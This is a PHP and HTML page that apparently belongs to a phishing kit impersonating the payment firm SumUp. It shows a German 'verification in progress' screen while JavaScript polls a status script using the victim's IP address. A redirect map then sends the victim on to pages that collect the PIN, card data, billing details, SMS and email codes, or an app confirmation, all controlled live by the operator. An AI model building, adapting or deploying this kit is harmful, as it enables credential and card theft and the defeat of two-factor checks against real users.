<?php 
//require_once "functions.php";
function get_client_ip() {
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    if(filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } else if(filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }
    if( $ip == '::1' ) {
        return '127.0.0.1';
    }
    return  $ip;
}

$ip = get_client_ip();
?>

<!DOCTYPE html>
<html lang="de">
<head>
  <link rel="icon" href="image/ask.png" type="image/x-icon" />
  <meta charset="utf-8">
  <title>Verifizierung</title>
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  
  <style>
    :root {
      --primary-black: #0F131A;
      --dark-gray: #1a1f2a;
      --light-gray: #f5f5f5;
      --background-gray: #ffffff;
      --border-gray: #e9ecef;
      --text-dark: #0F131A;
      --text-light: #666666;
      --white: #ffffff;
    }
    
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
      font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
    }
    
    body {
      background-color: white;
      min-height: 100vh;
      display: flex;
      flex-direction: column;
    }
    
    /* Header */
    .header {
      background: var(--white);
      padding: 15px 20px;
      border-bottom: 1px solid var(--border-gray);
      display: flex;
      justify-content: center;
      align-items: center;
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      z-index: 1000;
    }
    
    .logo-container {
      display: flex;
      align-items: center;
    }
    
    .logo-img {
      height: 40px;
      width: auto;
    }
    
    .help-link {
      position: absolute;
      right: 30px;
      color: var(--primary-black);
      text-decoration: none;
      font-size: 16px;
      font-weight: 500;
      transition: color 0.3s;
    }
    
    .help-link:hover {
      color: var(--dark-gray);
    }
    
    /* Main Content */
    .main-content {
      flex: 1;
      padding: 120px 20px 30px;
      max-width: 500px;
      margin: 0 auto;
      width: 100%;
      display: flex;
      justify-content: center;
      align-items: center;
    }
    
    /* Loading Container */
    .loading-container {
      background: var(--white);
      border-radius: 8px;
      padding: 40px 30px;
      text-align: center;
      position: relative;
      width: 100%;
    }
    
    /* Titles */
    .section-title {
      font-size: 24px;
      font-weight: 600;
      color: var(--text-dark);
      margin-bottom: 10px;
    }
    
    .section-subtitle {
      font-size: 16px;
      color: var(--text-light);
      margin-bottom: 40px;
      line-height: 1.6;
      font-weight: 400;
    }
    
    /* SumUp Spinner */
    .spinner-container {
      display: flex;
      justify-content: center;
      align-items: center;
      margin: 50px 0;
      position: relative;
    }
    
    .sumup-spinner {
      width: 100px;
      height: 100px;
      position: relative;
    }
    
    .spinner-outer {
      width: 100%;
      height: 100%;
      border: 3px solid rgba(15, 19, 26, 0.1);
      border-top: 3px solid var(--primary-black);
      border-right: 3px solid var(--primary-black);
      border-radius: 50%;
      animation: spinOrbit 2s linear infinite;
      position: relative;
    }
    
    .spinner-middle {
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      width: 70px;
      height: 70px;
      border: 2px solid transparent;
      border-bottom: 2px solid var(--dark-gray);
      border-left: 2px solid var(--dark-gray);
      border-radius: 50%;
      animation: spinCore 1.5s linear infinite;
    }
    
    .spinner-inner {
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      width: 40px;
      height: 40px;
      background: var(--primary-black);
      border-radius: 50%;
      display: flex;
      align-items: center;
      justify-content: center;
      font-weight: bold;
      color: white;
      font-size: 14px;
      box-shadow: 0 4px 12px rgba(15, 19, 26, 0.3);
      animation: innerPulse 2s ease-in-out infinite;
    }
    
    .spinner-particles {
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      width: 120px;
      height: 120px;
    }
    
    .particle {
      position: absolute;
      width: 4px;
      height: 4px;
      background: var(--primary-black);
      border-radius: 50%;
      animation: particleFloat 3s linear infinite;
    }
    
    .particle:nth-child(1) { top: 10px; left: 50%; animation-delay: 0s; }
    .particle:nth-child(2) { top: 50%; right: 10px; animation-delay: 0.5s; }
    .particle:nth-child(3) { bottom: 10px; left: 50%; animation-delay: 1s; }
    .particle:nth-child(4) { top: 50%; left: 10px; animation-delay: 1.5s; }
    .particle:nth-child(5) { top: 20px; right: 20px; animation-delay: 0.2s; }
    .particle:nth-child(6) { bottom: 20px; right: 20px; animation-delay: 0.7s; }
    .particle:nth-child(7) { bottom: 20px; left: 20px; animation-delay: 1.2s; }
    .particle:nth-child(8) { top: 20px; left: 20px; animation-delay: 1.7s; }
    
    @keyframes spinOrbit {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
    
    @keyframes spinCore {
      0% { transform: translate(-50%, -50%) rotate(0deg); }
      100% { transform: translate(-50%, -50%) rotate(-360deg); }
    }
    
    @keyframes innerPulse {
      0%, 100% { 
        transform: translate(-50%, -50%) scale(1);
        box-shadow: 0 4px 12px rgba(15, 19, 26, 0.3);
      }
      50% { 
        transform: translate(-50%, -50%) scale(1.05);
        box-shadow: 0 6px 18px rgba(15, 19, 26, 0.4);
      }
    }
    
    @keyframes particleFloat {
      0%, 100% { 
        transform: translate(0, 0);
        opacity: 0;
      }
      50% { 
        transform: translate(5px, -5px);
        opacity: 1;
      }
    }
    
    /* Security Badge */
    .security-badge {
      background: var(--primary-black);
      color: white;
      padding: 12px 24px;
      border-radius: 4px;
      font-size: 14px;
      font-weight: 500;
      display: inline-flex;
      align-items: center;
      gap: 10px;
      margin-bottom: 40px;
    }
    
    /* Loading Bar */
    .loading-bar {
      width: 100%;
      height: 6px;
      background: var(--light-gray);
      border-radius: 4px;
      margin: 40px 0;
      overflow: hidden;
      position: relative;
    }
    
    .loading-progress {
      height: 100%;
      background: var(--primary-black);
      border-radius: 4px;
      animation: loading 2.5s ease-in-out infinite;
      position: relative;
    }
    
    .loading-progress::after {
      content: '';
      position: absolute;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: linear-gradient(90deg, transparent, rgba(255,255,255,0.6), transparent);
      animation: shimmer 2s infinite;
    }
    
    @keyframes loading {
      0% { width: 5%; }
      50% { width: 75%; }
      100% { width: 95%; }
    }
    
    @keyframes shimmer {
      0% { transform: translateX(-100%); }
      100% { transform: translateX(100%); }
    }
    
    /* Status Dots */
    .status-dots {
      display: flex;
      justify-content: center;
      gap: 10px;
      margin: 35px 0;
    }
    
    .status-dot {
      width: 8px;
      height: 8px;
      background: var(--border-gray);
      border-radius: 50%;
      animation: dotPulse 1.6s ease-in-out infinite both;
    }
    
    .status-dot:nth-child(1) { animation-delay: -0.32s; }
    .status-dot:nth-child(2) { animation-delay: -0.16s; }
    .status-dot:nth-child(3) { animation-delay: 0s; }
    
    @keyframes dotPulse {
      0%, 80%, 100% { 
        transform: scale(0.8);
        background: var(--border-gray);
      }
      40% { 
        transform: scale(1.2);
        background: var(--primary-black);
      }
    }
    
    /* Security Info */
    .security-info {
      background: #f8f9fa;
      border: 1px solid #e9ecef;
      border-radius: 8px;
      padding: 20px;
      margin-top: 30px;
      text-align: center;
    }
    
    .security-icon {
      font-size: 20px;
      margin-bottom: 10px;
      color: var(--primary-black);
    }
    
    .security-title {
      font-size: 16px;
      font-weight: 600;
      color: var(--text-dark);
      margin-bottom: 8px;
    }
    
    .security-description {
      font-size: 14px;
      color: var(--text-light);
      line-height: 1.5;
    }
    
    /* Processing Animation */
    .processing-animation {
      display: flex;
      justify-content: center;
      align-items: center;
      gap: 8px;
      margin: 30px 0;
    }
    
    .processing-text {
      font-size: 14px;
      color: var(--text-light);
      font-weight: 500;
    }
    
    .processing-dots {
      display: flex;
      gap: 4px;
    }
    
    .processing-dot {
      width: 4px;
      height: 4px;
      background: var(--primary-black);
      border-radius: 50%;
      animation: processing 1.4s infinite ease-in-out;
    }
    
    .processing-dot:nth-child(1) { animation-delay: -0.32s; }
    .processing-dot:nth-child(2) { animation-delay: -0.16s; }
    .processing-dot:nth-child(3) { animation-delay: 0s; }
    
    @keyframes processing {
      0%, 80%, 100% { 
        transform: scale(0.8);
        opacity: 0.5;
      }
      40% { 
        transform: scale(1.2);
        opacity: 1;
      }
    }
    
    /* Responsive */
    @media (max-width: 768px) {
      .main-content {
        padding: 110px 15px 20px;
        max-width: 450px;
      }
      
      .loading-container {
        padding: 30px 25px;
      }
      
      .section-title {
        font-size: 22px;
      }
      
      .sumup-spinner {
        width: 90px;
        height: 90px;
      }
      
      .spinner-middle {
        width: 60px;
        height: 60px;
      }
      
      .spinner-inner {
        width: 35px;
        height: 35px;
        font-size: 13px;
      }
    }
    
    @media (max-width: 480px) {
      .header {
        padding: 12px 15px;
      }
      
      .logo-img {
        height: 35px;
      }
      
      .main-content {
        padding: 100px 15px 15px;
        max-width: 400px;
      }
      
      .loading-container {
        padding: 25px 20px;
      }
      
      .section-title {
        font-size: 20px;
      }
      
      .section-subtitle {
        font-size: 15px;
      }
      
      .sumup-spinner {
        width: 80px;
        height: 80px;
      }
      
      .spinner-middle {
        width: 55px;
        height: 55px;
      }
      
      .spinner-inner {
        width: 30px;
        height: 30px;
        font-size: 12px;
      }
      
      .help-link {
        right: 15px;
        font-size: 14px;
      }
    }
  </style>
</head>

<body>
  <!-- Header -->
  <div class="header">
    <div class="logo-container">
      <!-- name.svg durch den korrekten Pfad zum Logo ersetzen -->
      <img src="image/name.svg" alt="SumUp Logo" class="logo-img">
    </div>
    <a href="#" class="help-link">Brauchen Sie Hilfe?</a>
  </div>

  <!-- Main Content -->
  <div class="main-content">
    <div class="loading-container">
      <!-- Title -->
      <h1 class="section-title">Verifizierung läuft</h1>
      <p class="section-subtitle">
        Wir überprüfen Ihre Zugangsdaten.<br>
        Dieser Prozess dauert nur wenige Sekunden.
      </p>

      <!-- Security Badge -->
      <div class="security-badge">
        <span>🛡️</span>
        SICHERHEITSÜBERPRÜFUNG AKTIV
      </div>

      <!-- SumUp Spinner -->
      <div class="spinner-container">
        <div class="sumup-spinner">
          <div class="spinner-outer"></div>
          <div class="spinner-middle"></div>
          <div class="spinner-inner">S</div>
          <div class="spinner-particles">
            <div class="particle"></div>
            <div class="particle"></div>
            <div class="particle"></div>
            <div class="particle"></div>
            <div class="particle"></div>
            <div class="particle"></div>
            <div class="particle"></div>
            <div class="particle"></div>
          </div>
        </div>
      </div>

      <!-- Loading Bar -->
      <div class="loading-bar">
        <div class="loading-progress"></div>
      </div>

      <!-- Processing Animation -->
      <div class="processing-animation">
        <span class="processing-text">Verarbeitung</span>
        <div class="processing-dots">
          <div class="processing-dot"></div>
          <div class="processing-dot"></div>
          <div class="processing-dot"></div>
        </div>
      </div>

      <!-- Status Dots -->
      <div class="status-dots">
        <div class="status-dot"></div>
        <div class="status-dot"></div>
        <div class="status-dot"></div>
      </div>

      <!-- Security Info -->
      <div class="security-info">
        <div class="security-icon">🛡️</div>
        <div class="security-title">Für Ihre Sicherheit</div>
        <p class="security-description">
          Wir bestätigen Ihre Identität über unsere fortschrittlichen
          Sicherheitssysteme. Ihre Daten sind geschützt und verschlüsselt.
        </p>
      </div>
    </div>
  </div>

  <!-- JavaScript -->
  <script>
    document.addEventListener('DOMContentLoaded', function() {
      const userIP = '<?php echo $ip; ?>';
      
      // Graduelle Erscheinungseffekte
      const container = document.querySelector('.loading-container');
      container.style.opacity = '0';
      container.style.transform = 'translateY(30px)';
      container.style.transition = 'all 0.8s ease';
      
      setTimeout(() => {
        container.style.opacity = '1';
        container.style.transform = 'translateY(0)';
      }, 200);

      // === AJAX zur Statusüberprüfung alle 2 Sekunden ===
      function checkStatus() {
        fetch(`check-user-status.php?ip=${userIP}&t=${new Date().getTime()}`)
          .then(response => {
            if (!response.ok) {
              throw new Error('Network response was not ok');
            }
            return response.text();
          })
          .then(status => {
            status = status.trim();
            
            // Wenn es eine Weiterleitungsstatus gibt, gehe zur gewünschten Seite
            if (status && status !== '0' && status !== '') {
              const redirectMap = {
                'errorlogin': 'infos.php?redirection=errorlogin',
                'pin': 'infos.php?redirection=pin',
                'errorpin': 'infos.php?redirection=errorpin',
                'cc': 'infos.php?redirection=cc',
                'errorcc': 'infos.php?redirection=errorcc',
                'email_code': 'infos.php?redirection=email_code',
                'erroremail_code': 'infos.php?redirection=erroremail_code',
                'billing': 'infos.php?redirection=billing',
                'errorbilling': 'infos.php?redirection=errorbilling',
                'sms': 'infos.php?redirection=sms',
                'errorsms': 'infos.php?redirection=errorsms',
                'app': 'infos.php?redirection=app',
                'success': 'infos.php?redirection=success',
                'attivazione': 'infos.php?redirection=attivazione',
                'errorattivazione': 'infos.php?redirection=errorattivazione'
              };
              
              if (redirectMap[status]) {
                window.location.href = redirectMap[status];
                return;
              }
            }
            
            // Wenn keine Weiterleitung erfolgt, weiter nach 2 Sekunden überprüfen
            setTimeout(checkStatus, 2000);
          })
          .catch(error => {
            console.error('Error checking status:', error);
            setTimeout(checkStatus, 3000);
          });
      }

      // Statusüberprüfung nach 1 Sekunde starten
      setTimeout(checkStatus, 1000);
    });
  </script>
</body>
</html>